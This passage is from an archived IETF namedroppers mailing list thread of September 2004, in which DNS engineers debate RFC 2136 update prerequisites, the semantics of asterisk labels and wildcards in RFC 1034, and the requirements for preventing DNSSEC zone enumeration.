--OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2004-9-8154256.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-dnsext-mdns-35.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-dnsext-mdns-35.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2004-9-8154256.I-D@ietf.org> --OtherAccess-- --NextPart Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ I-D-Announce mailing list I-D-Announce@ietf.org https://www1.ietf.org/mailman/listinfo/i-d-announce --NextPart-- From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Kevin Darcy <kcd@daimlerchrysler.com> Subject: Re: Interpretation of RFC 2136 Date: Wed, 08 Sep 2004 17:46:20 -0400 Lines: 90 Sender: owner-namedroppers@ops.ietf.org References: <200409072217.i87MHbQe037524@drugs.dv.isc.org> <31306.1094632224@www58.gmx.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-From: owner-namedroppers@ops.ietf.org Wed Sep 08 23:56:19 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.4) Gecko/20030701 X-Accept-Language: en-us, en To: namedroppers@ops.ietf.org In-Reply-To: <31306.1094632224@www58.gmx.net> Precedence: bulk Tom Schmitt wrote: >Hi, > >in RFC 2136 (Dynamic Updates in the Domain Name System) there are a section >explaining the behavior how a server react to the updates where is a section >which refers to Prerequisites: > > > >> (2) RRset exists (value dependent). A set of RRs with a >> specified NAME and TYPE exists and has the same members >> with the same RDATAs as the RRset specified here in this >> Section. >> >> >> > >My understanding of this is, that when I sent > > prereq yxrrset foo.baa.com A 10.0.0.2 > >I'll get NOERROR if there is a record "foo.baa.com A 10.0.0.2" and I will >get NXRRSET if there is no such a record. >Now I discovered, there are circumstances in which the Bind does not react >in this way. If there is such a record but also another record with the same >name and type, but another IP-Adress, then the Bind answer NXRRSET even >though such a record exist. > >I send a question regarding this to the bind-mailinglist, but the answer >was, that it is no bug, but a question of interpreting RFC 2136: > > > >> (2) RRset exists (value dependent). A set of RRs with a >> specified NAME and TYPE exists and has the same members >> with the same RDATAs as the RRset specified here in this >> Section. >> >> The prerequisite section talks about RR sets. This is a >> exact match. Unfortunately there is no way to specify a >> partial match. For a partial match it would have words to >> like. >> >> (2) RRset exists (value dependent). A set of RRs with a >> specified NAME and TYPE exists and has the same members >> with the same RDATAs as the RRset specified here in this >> Section plus possibly other RRs with the same NAME and TYPE. >> >> If you feel our interpretation is wrong this should be discussed >> on namedroppers. >> >>Mark Andrews, ISC >> >> > >So what is the right interprtation? > "Has the same members" seems rather unambiguous to me. The RRset has to match in its entirety. >And if the version of Mark Andrews is >right, is there a way to determinate if a record exist which will word in >all circumstances? > Well, sure there's a way to determine whether a record exists. Look it up by name and type. Now, if you want something more *atomic* than that, which you can in a Dynamic Update prerequisite, then you might have to resort to some sort of local convention for round-robin names, where you create a separate "adjunct" record, with a unique name, for each record in the round-robin. For instance, if you have a name foo.example.com owning A records 10.0.0.1 and 10.0.0.2, you might have adjunct TXT records of the form 10_0_0_1.a-record.foo.example.com and 10_0_0_2.a-record.foo.example.com. Then you could set a prerequisite of "prereq 10_0_0_1.a-record.foo.example.com txt" any time you want to ensure that the 10.0.0.1 A record existed with the name foo.example.com, *without* needing to even know about the existence of the other A record. Seems like a lot of work, and superfluous DNS records, for very little benefit, though... - Kevin -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: Interpretation of RFC 2136 Date: Thu, 09 Sep 2004 08:10:20 +0700 Lines: 67 Sender: owner-namedroppers@ops.ietf.org References: <31306.1094632224@www58.gmx.net> <200409072217.i87MHbQe037524@drugs.dv.isc.org> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 09 03:27:27 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: "Tom Schmitt" <TomSchmitt@gmx.de> In-Reply-To: <31306.1094632224@www58.gmx.net> Precedence: bulk Date: Wed, 8 Sep 2004 10:30:24 +0200 (MEST) From: "Tom Schmitt" <TomSchmitt@gmx.de> Message-ID: <31306.1094632224@www58.gmx.net> | So what is the right interprtation? And if the version of Mark Andrew= s is | right, is there a way to determinate if a record exist which will wor= d in | all circumstances? Mark is correct in his interpretation, there's no question about that. As to "how to ...?" - you need to understand the use of prerequisites. They're not intended as a way to have the server decide for you whether o= r not the update should be made, all they are intended for is to control race conditions. That is, the intended use is that you query the DNS, to the extent your application needs, in order to discover whether or not your update should= be done. Then you use the prerequisites to make sure the data in the DNS hasn't been updated between when you queried to discover what is ther= e, and when your update is processed. If the condition fails, you start again at the beginning, discover whether or not the update should be made= in the current conditions (using whatever queries get you the data for th= at) and then construct a prerequisite to check that conditions haven't change= d. To do more that that would require a much more complex way of stating the= conditions, and a much richer condition set. But what is there is just fine for the way it is intended to be used. To do your "update if an A record exists" text, do an A query, save the RRset that is the answer, check if the record you hope for is present. If not, you simply stop (that's your intent, right?) If the A record is= there, you send back the RRset that was fetched by the A query, and insis= t that it be unaltered for the update to be performed. If the update is performed, you know the A record of interest must still have been present, as it was part of the RRset you sent back. If the update wasn't performed, you know almost nothing, except that some= thing has changed - so you query for the A records again, and see if the addres= s which matters to you is still there - if it is, you repeat your update with the new RRset as the "must be there" prerequisite. And continue till it works, or until sometime the A record isn't there (which would me= an you lost an update race). kre -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: thesaurus attack Date: Thu, 09 Sep 2004 08:14:32 +0700 Lines: 37 Sender: owner-namedroppers@ops.ietf.org References: <a06020407bd64c0ca0a9b@[192.136.136.102]> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 09 03:27:27 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Edward Lewis <edlewis@arin.net> In-Reply-To: <a06020407bd64c0ca0a9b@[192.136.136.102]> Precedence: bulk Date: Wed, 8 Sep 2004 10:13:39 -0400 From: Edward Lewis <edlewis@arin.net> Message-ID: <a06020407bd64c0ca0a9b@[192.136.136.102]> | I'll float this idea. It's an idea, I think it can work, but it's up | to the WG. | | REMOVE the restriction in 1034: "<anydomain> should not contain other | * labels". I am all in favour of that, I don't think that restriction ever made sense. However... | This opens the protocol to places it's not been, so there's no danger | to old code. No. It doesn't. The extra '*' labels don't magically work as wildcards, the lookup algorithm in 4.3.2 or 1034 would continue unchanged. The text that was in Appendix A of the wildcard draft is certainly not needed, not that, or anything like it. And explain the way that wildcard lookups get done (with a liberal sprinkling of the words from 1034 that explain how a '*' is an RR generator, and a complete quashing of the notion that there is any kind of name pattern matching happening - there isn't). kre -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: more wild cards Date: Thu, 09 Sep 2004 08:39:49 +0700 Lines: 117 Sender: owner-namedroppers@ops.ietf.org References: <413E8A81.7000502@daimlerchrysler.com> <413920C7.3000809@daimlerchrysler.com> <a06020407bd5ce15f1169@[192.168.1.100]> <a06020401bd5c29d82510@[192.168.1.100]> <27579.1094135350@munnari.OZ.AU> <3659.1094156279@munnari.OZ.AU> <18901.1094415765@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 09 03:47:42 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Kevin Darcy <kcd@daimlerchrysler.com> In-Reply-To: <413E8A81.7000502@daimlerchrysler.com> Precedence: bulk Date: Wed, 08 Sep 2004 00:28:49 -0400 From: Kevin Darcy <kcd@daimlerchrysler.com> Message-ID: <413E8A81.7000502@daimlerchrysler.com> | I was considering the difference between an NXDOMAIN and a NODATA | response to be a significant one. I agree, it is. | Admittedly, there isn't much | difference from the perspective of a garden-variety app calling | gethostbyname(), which is what I meant by "no functional difference" which isn't the same thing as "no difference". | or whatever, but I was under the (possibly mistaken) | impression that this difference mattered from a DNSSEC perspective. Yes, internally, in the DNS, they're totally different things. | At the very least, isn't part of the justification for having a concept | of "empty non-terminal"s at all (a concept that I think belongs to an | old-fashioned "tree" paradigm rather than the more modern | index-into-a-database paradigm, and therefore rather difficult to convey | to novices who often aren't so steeped in hierarchical design models) Old fashioned or not, the DNS is a tree design. Attempting to interpret or explain it any other way can only lead to problems. | the alleged ability of a caching resolver to "prune" the namespace, so | that queries for names underneath a "branch" that is known to not exist | at all (i.e. an empty non-terminal) can be automatically answered in the | negative without having to incur a subsidiary query to the authoritative | servers for the zone? [Aside: I assume the parenthitical remark was "not an empty non-terminal" ??] But from where does this supposed intent to allow resolvers (caches) to make that kind of conclusion arise? I certainly favour no such approach. A negative answer is a negative answer to a particular query, and nothing should be attempting to draw conclusions about other queries. | If we're going to consider NXDOMAIN and NODATA to | be functionally equivalent, Only functionally equivalent ("the data you wanted doesn't exist") not equivalent. | then I say let's go all the way and just | abolish the notion of an "empty non-terminal" altogether. K.I.S.S. What is simple in this area isn't always obvious. In particular, attempting to explain just why some names that don't exist can have descendants, but others can't would be an interesting experience. (as in, you can have x.y.example.com without y.example.com, but you can't have x.example.com without example.com existing). It is better (and simpler) to simply require that a name exists if any sub-domains of it are to exist. | If, on the other hand, NXDOMAIN and NODATA are not, "[f]or all practical | purposes [...] exactly the same", then the spec should either a) refine | the lookup algorithm to *only* give special meaning to asterisk labels | that are part of "wildcard"s, That should certainly happen - in fact, that's what the spec currently says, all you need to do is read 1034 (4.3.2, and 4.3.3) as it really is quite clear about how the things work, and where special meaning gets attributed to '*'. | or b) broaden the definition of "wildcard" | to include any name with an asterisk label in it. This isn't an alternative, it is true as well, any name with a '*' label is a wildcard (at one point). However, this probably doesn't have the impact you're expecting, as wildcards are not name pattern matching characters, they're RR generators (1034 says so) - that is, if at some point a name doesn't exist, but a wildcard sibling does, then the RR's at the wildcard are used to generate RR's (of the appropriate type, if they exist) for the QNAME. That's it. | Hopefully the new | draft can reconcile the tension that exists between _de_jure_ | "wildcards" and _de_facto_ "names containing asterisk labels that might | cause special behavior within the lookup algorithm". One hopes so, especially given that there really shouldn't be any discussion amongst us here at all about the wat this all works. Everyone here should be thoroughly familiar with the text in 1034 - or at the very least, willing to go read it and understand it. The point of this draft should be to make all of this clear to people who can't be bothered to actually read 1034 carefully enough to understand it. | In addition to the difference between an NXDOMAIN and a NODATA response, | there is still the legalistic question of whether Section 4.3.3's | prohibition on multiple asterisk labels in a "wildcard" owner name | functionally "turns off" the special behavior that would otherwise occur | with asterisk labels, in the case where none of the | multiple-asterisk-labels happens to be the first label of the name, and | therefore the name itself does not technically qualify as a "wildcard" | under 4.3.3's definition... That's not a meaningful question at all. Any label in the DNS is the first label of some name (exactly one name). It is impossible to have a label that isn't. kre -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Roy Arends <roy@dnss.ec> Subject: Re: dictionary attack on nameservers Date: Thu, 9 Sep 2004 09:23:35 +0200 (CEST) Lines: 27 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-From: owner-namedroppers@ops.ietf.org Thu Sep 09 09:37:56 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-X-Sender: roy@trinitario.schlyter.se To: namedroppers@ops.ietf.org Precedence: bulk Hi, I'd like to fix NSEC name leakage in order to make zone enumeration with DNSSEC not easier then without DNSSEC. Not at any cost though, it would be nice if we can satisfy most/all of the following requirements (stolen from Ed's mail, thanks Ed) Prove non-existence of name/type without - leaking names - introducing fake names - on-demand cryptographic operations - being vulnerable to replay attacks - incompatible changes with current DNSSEC Satisfying all requirements seems hard. If we can prioritise them, we've come a long way. Roy -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Simon Josefsson <jas@extundo.com> Subject: Re: dictionary attack on nameservers Date: Thu, 09 Sep 2004 11:18:52 +0200 Lines: 51 Sender: owner-namedroppers@ops.ietf.org References: <Pine.BSO.4.56.0409090901160.11211@trinitario.schlyter.se> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-From: owner-namedroppers@ops.ietf.org Thu Sep 09 11:27:36 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Injected-Via-Gmane: http://gmane.org/ To: namedroppers@ops.ietf.org Lines: 44 X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c494102a.s-bi.bostream.se User-Agent: Gnus/5.110003 (No Gnus v0.3) Emacs/21.3.50 (gnu/linux) Cancel-Lock: sha1:dE9bC8s2g0f/ZZm1ma/kfgGv8Kw= Precedence: bulk Roy Arends <roy@dnss.ec> writes: > Hi, > > I'd like to fix NSEC name leakage in order to make zone enumeration with > DNSSEC not easier then without DNSSEC. > > Not at any cost though, it would be nice if we can satisfy most/all of the > following requirements (stolen from Ed's mail, thanks Ed) > > Prove non-existence of name/type without > > - leaking names > - introducing fake names > - on-demand cryptographic operations > - being vulnerable to replay attacks > - incompatible changes with current DNSSEC > > Satisfying all requirements seems hard. If we can prioritise them, we've > come a long way. For those discussions, perhaps it is useful to explain all your requirements in, e.g., http://www.links.org/dnssec/requirements.txt so we at least start from a common understanding of the requirements. I still don't understand the importance of the second requirement above, and would like to have it explained in detail in a document, rather than trying to collect various pieces of the picture from many e-mails. Keith Moore recently said something worth repeating, on the general topic of requirements: Aside: I generally find it unhelpful to enumerate "requirements" because these things have different degrees of importance. There's nothing wrong with enumerating "goals" or enumerating "problems" to be solved, but calling them "requirements" makes it seem that they're non-negotiable and all of equal importance. We'd probably be happy with a partial solution - one that solved the worst of the problems without introducing harmful unintended effects -, and we probably won't find a complete solution anyway. Thanks, Simon -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Roy Arends <roy@dnss.ec> Subject: Re: dictionary attack on nameservers Date: Thu, 9 Sep 2004 11:32:13 +0200 (CEST) Lines: 16 Sender: owner-namedroppers@ops.ietf.org References: <Pine.BSO.4.56.0409090901160.11211@trinitario.schlyter.se> <iluoekfvlz7.fsf@latte.josefsson.org> Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 09 11:39:34 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-X-Sender: roy@trinitario.schlyter.se To: Simon Josefsson <jas@extundo.com> In-Reply-To: <iluoekfvlz7.fsf@latte.josefsson.org> Precedence: bulk On Thu, 9 Sep 2004, Simon Josefsson wrote: > For those discussions, perhaps it is useful to explain all your > requirements in, e.g., http://www.links.org/dnssec/requirements.txt so > we at least start from a common understanding of the requirements. perhaps, but I was doing the 20-lines dance to sing my current thinking. Roy -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Ben Laurie <ben@algroup.co.uk> Subject: Re: dictionary attack on nameservers Date: Thu, 09 Sep 2004 16:03:30 +0100 Lines: 33 Sender: owner-namedroppers@ops.ietf.org References: <20040728190530.GA22758@atoom.net> <20040901111452.7276c683.olaf@ripe.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 09 17:38:02 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.6 (Windows/20040502) X-Accept-Language: en To: "Olaf M. Kolkman" <olaf@ripe.net> In-Reply-To: <20040901111452.7276c683.olaf@ripe.net> X-Enigmail-Version: 0.84.2.0 X-Enigmail-Supports: pgp-inline, pgp-mime Precedence: bulk Olaf M. Kolkman wrote: > I want to close this thread by giving every participant the > opportunity to state their concluding argument in not more than 20 > lines of text. The central idea is that people should not be worse off by deploying DNSSEC than they are by deploying DNS, So, zone file enumeration should be no easier in DNSSEC than it is in DNS. That said, DNSSEC introduces other considerations, in particular the potential exposure of private keys, so a solution should not require private keys to be kept online. And then there are "ordinary" DNS requirements: the solution should be compact and minimise change to existing protocols. If it introduces extra processing, storage or bandwidth requirements, it should also be optional. Cheers, Ben. -- http://www.apache-ssl.org/ben.html http://www.thebunker.net/ "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Ben Laurie <ben@algroup.co.uk> Subject: Re: more wild cards Date: Thu, 09 Sep 2004 17:38:38 +0100 Lines: 48 Sender: owner-namedroppers@ops.ietf.org References: <413920C7.3000809@daimlerchrysler.com> <a06020407bd5ce15f1169@[192.168.1.100]> <a06020401bd5c29d82510@[192.168.1.100]> <27579.1094135350@munnari.OZ.AU> <3659.1094156279@munnari.OZ.AU> <18901.1094415765@munnari.OZ.AU> <413C692C.1060702@algroup.co.uk> <a06020411bd63a804f192@[192.168.1.100]> <413F02ED.70506@algroup.co.uk> <a06020406bd64beea9a38@[192.136.136.102]> <413F17FB.1010907@algroup.co.uk> <a0602040dbd64e0c58974@[192.136.136.102]> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Robert Elz <kre@munnari.OZ.AU>, Kevin Darcy <kcd@daimlerchrysler.com>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 09 18:54:04 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.6 (Windows/20040502) X-Accept-Language: en To: Edward Lewis <edlewis@arin.net> In-Reply-To: <a0602040dbd64e0c58974@[192.136.136.102]> X-Enigmail-Version: 0.84.2.0 X-Enigmail-Supports: pgp-inline, pgp-mime Precedence: bulk Edward Lewis wrote: > At 15:32 +0100 9/8/04, Ben Laurie wrote: > >>> Suspending disbelief for the moment, let's say 1034 didn't restrict >>> internal >>> '*'s. If there was the name "*. one.*.two.example.com" and I was >>> matching >>> "zebra.donkey.one.*.two.example.com"... the closest encloser would be >>> one.*.two.example.com (assuming no donkey or zebra.donkey). In that >>> case, >>> "zebra.donkey" matches the first (leftmost) "*" in the wild card. >> >> >> Well, this is certainly my understanding, too, but I thought the >> discussion >> was heading towards it possibly not being true! > > Just to make sure I understand - given the zig-zag nature of *my* > comment, I'm not clear on which "heading" you are talking about. ;) > > Are you favoring allowing internal "*"s in all cases, as is proposed in > the "thesaurus attack" message? In terms of purity, I think internal "*"s should be allowed, but I do think its a completely pointless pastime in practice. It will cause confusion for little benefit, though I am 100% in favour of that small benefit (reduced code complexity). So, I guess, yes, allow them, but the first sentence of wildcard-clarify should be "Yes, you can have a * in the middle of a name, BUT IT ISN'T A WILDCARD". Cheers, Ben. -- http://www.apache-ssl.org/ben.html http://www.thebunker.net/ "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Peter Koch <pk@TechFak.Uni-Bielefeld.DE> Subject: Re: dictionary attack on nameservers Date: Thu, 09 Sep 2004 19:50:35 +0200 Lines: 30 Sender: owner-namedroppers@ops.ietf.org References: <20040901111452.7276c683.olaf@ripe.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-From: owner-namedroppers@ops.ietf.org Thu Sep 09 20:04:25 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Authentication-Warning: grimsvotn.TechFak.Uni-Bielefeld.DE: pk owned process doing -bs X-Authentication-Warning: grimsvotn.TechFak.Uni-Bielefeld.DE: pk@localhost didn't use HELO protocol To: namedroppers@ops.ietf.org In-reply-to: Your message of "Wed, 01 Sep 2004 11:14:52 +0200." <20040901111452.7276c683.olaf@ripe.net> X-Organization: Uni Bielefeld, Technische Fakultaet X-Phone: +49 521 106 2902 Content-ID: <13717.1094752235.1@grimsvotn.TechFak.Uni-Bielefeld.DE> Precedence: bulk > opportunity to state their concluding argument in not more than 20 > lines of text. Zone file enumeration is a deployment obstacle for DNSSEC and it should be made no easier than it is without DNSSEC. I'd also like to steal from Ed Lewis' excellent set of items to avoid (sorted kind of top down): o Exposition of any existing names (regardless of data owned) o Breaking namespace invariants ("muddying up the name space") or namespace consistency o Opening attacks against positive answers or against authenticated denial of RRSet existence o Exposition of more than a very limited number of not existing names o Protocol incompatibilities other than TCR o Enforcing major operational efforts by those satisfied with NSEC o Enabling replay attacks for authenticated denial As long as complexity allows, zone enumeration avoidance may be optional since not only the structured {IN-ADDR,IP6,E164}.ARPA zones but also the majority of zones containing no more than @, "www" and maybe "mail" won't probably need it. Defining a set of reasonable prerequisites (e.g. "no wildcards", "delegation only", etc) is acceptable. -Peter -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Mark Andrews <Mark_Andrews@isc.org> Subject: Re: dictionary attack on nameservers Date: Fri, 10 Sep 2004 07:58:10 +1000 Lines: 35 Sender: owner-namedroppers@ops.ietf.org References: <200409091750.i89HoaV13719@grimsvotn.TechFak.Uni-Bielefeld.DE> Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Fri Sep 10 00:17:08 2004 Return-path: <owner-namedroppers@ops.ietf.org> In-reply-to: Your message of "Thu, 09 Sep 2004 19:50:35 +0200." <200409091750.i89HoaV13719@grimsvotn.TechFak.Uni-Bielefeld.DE> Precedence: bulk I doubt there is a perfect solution that will solve everyones problems. There may need to be a suite of solutions that the zone administrator can choose between. DNSSEC and DNS itself is a set of engineering tradeoffs. DNSSECbis just changes the the current set of tradeoffs. Spoofing (DNS) vs enumeration (DNSSEC/DNSSECbis) I dislike the hashing solutions as it introduces namespace pollution and doesn't allow all existing DNS zones to be signed. I can live with online signing though I don't believe that NSEC white lies is the best way to do this. If we have to have online signing then we should look for a better way to do this than NSEC white lies. I believe we can introduce a new type of zone signing and have no impact on DNSSECbis servers. The zones would be treated as unsigned by DNSSECbis. This would give the zone operator the choice of spoofable results, enumeration or online signing. I don't believe that the other tradeoffs are the way to go. We already have online signing for secure updatable zones. Mark -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: Mark_Andrews@isc.org -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: "Olaf M. Kolkman" <olaf@ripe.net> Subject: Re: more wild cards Date: Fri, 10 Sep 2004 09:46:42 +0200 Organization: RIPE NCC Lines: 34 Sender: owner-namedroppers@ops.ietf.org References: <413920C7.3000809@daimlerchrysler.com> <a06020407bd5ce15f1169@[192.168.1.100]> <a06020401bd5c29d82510@[192.168.1.100]> <27579.1094135350@munnari.OZ.AU> <3659.1094156279@munnari.OZ.AU> <18901.1094415765@munnari.OZ.AU> <413C692C.1060702@algroup.co.uk> <a06020411bd63a804f192@[192.168.1.100]> <413F02ED.70506@algroup.co.uk> <a06020406bd64beea9a38@[192.136.136.102]> <413F17FB.1010907@algroup.co.uk> <a0602040dbd64e0c58974@[192.136.136.102]> <4140870E.1060804@algroup.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-From: owner-namedroppers@ops.ietf.org Fri Sep 10 10:01:40 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org In-Reply-To: <4140870E.1060804@algroup.co.uk> X-Mailer: Sylpheed version 0.9.11 (GTK+ 1.2.10; i686-pc-linux-gnu) X-RIPE-Spam-Level: X-RIPE-Spam-Status: N 0.000410 / 0.0 / 0.0 / disabled X-RIPE-Signature: 6072112d39f6379566d31753480bb10c Precedence: bulk On Thu, 09 Sep 2004 17:38:38 +0100 Ben Laurie <ben@algroup.co.uk> wrote: > So, I guess, yes, allow them, but the first sentence of wildcard-clarify > should be "Yes, you can have a * in the middle of a name, BUT IT ISN'T A > WILDCARD". Somewhere in this thread Kevin used the terms "wildcard" and "asterix-label". I think that using these two terms brings a lot of clarification. The way I read the thread is that we may get consensus on: Allowing for an asterix-label anywhere in a domain name, while only asterix-labels at the most significant position (or the left hand side) of a domain name are interpreted as wildcards by the search algorithm, is an interpretation of the scripture that is in line with its spirit of 1034. Am I way out of line with that statement? -- Olaf ---------------------------------| Olaf M. Kolkman ---------------------------------| RIPE NCC -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Alex Bligh <alex@alex.org.uk> Subject: Re: dictionary attack on nameservers Date: Fri, 10 Sep 2004 11:17:54 +0100 Lines: 21 Sender: owner-namedroppers@ops.ietf.org References: <200409092158.i89LwAMr043142@drugs.dv.isc.org> Reply-To: Alex Bligh <alex@alex.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: namedroppers@ops.ietf.org, Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Fri Sep 10 12:30:34 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Mark Andrews <Mark_Andrews@isc.org> In-Reply-To: <200409092158.i89LwAMr043142@drugs.dv.isc.org> X-Mailer: Mulberry/3.1.5 (Win32) Content-Disposition: inline Precedence: bulk --On 10 September 2004 07:58 +1000 Mark Andrews <Mark_Andrews@isc.org> wrote: > I dislike the hashing solutions as it introduces namespace > pollution and doesn't allow all existing DNS zones to be signed. ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ At the risk of annoying Olaf, but for the purposes of getting a common understanding of all our position, could you elaborate on the bit underlined by carrets? (i.e. either it's a new point or I've completely missed something). Alex -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Marcos Sanz/Denic <sanz@denic.de> Subject: Re: dictionary attack on nameservers Date: Fri, 10 Sep 2004 13:22:56 +0200 Lines: 27 Sender: owner-namedroppers@ops.ietf.org References: <4B0E54D7D55764813E707CF9@[192.168.100.25]> Mime-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" X-From: owner-namedroppers@ops.ietf.org Fri Sep 10 13:34:11 2004 Return-path: <owner-namedroppers@ops.ietf.org> In-Reply-To: <4B0E54D7D55764813E707CF9@[192.168.100.25]> To: namedroppers@ops.ietf.org X-Mailer: Lotus Notes Release 6.0.2CF1 June 9, 2003 X-MIMETrack: Serialize by Router on notes/Denic(Release 6.5.2|June 01, 2004) at 10.09.2004 13:22:58, Serialize complete at 10.09.2004 13:22:58 Precedence: bulk On 01 September 2004 11:14 +0200 "Olaf M. Kolkman" <olaf@ripe.net> wrote: > I want to close this thread by giving every participant the > opportunity to state their concluding argument in not more than 20 > lines of text. Overcoming my original reluctance to give a summary of my position, because the chairs did not privately contact me to do so *lol*, here it goes: The current list of requirements ( http://www.links.org/dnssec/requirements.txt) reflects my expectations for a signed proof of non-existence (modulo my remarks sent privately to the authors 3 weeks ago: ICMP_ECHO_REQUEST), so I won't list the requirements here again. IMHO some of them are less and some are more relevant, but it has repeatedly been said that we are still in the phase of outspeaking requirements, and we all know that a solution will probably imply a trade-off among them. Best, Marcos -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Mark Andrews <Mark_Andrews@isc.org> Subject: Re: dictionary attack on nameservers Date: Fri, 10 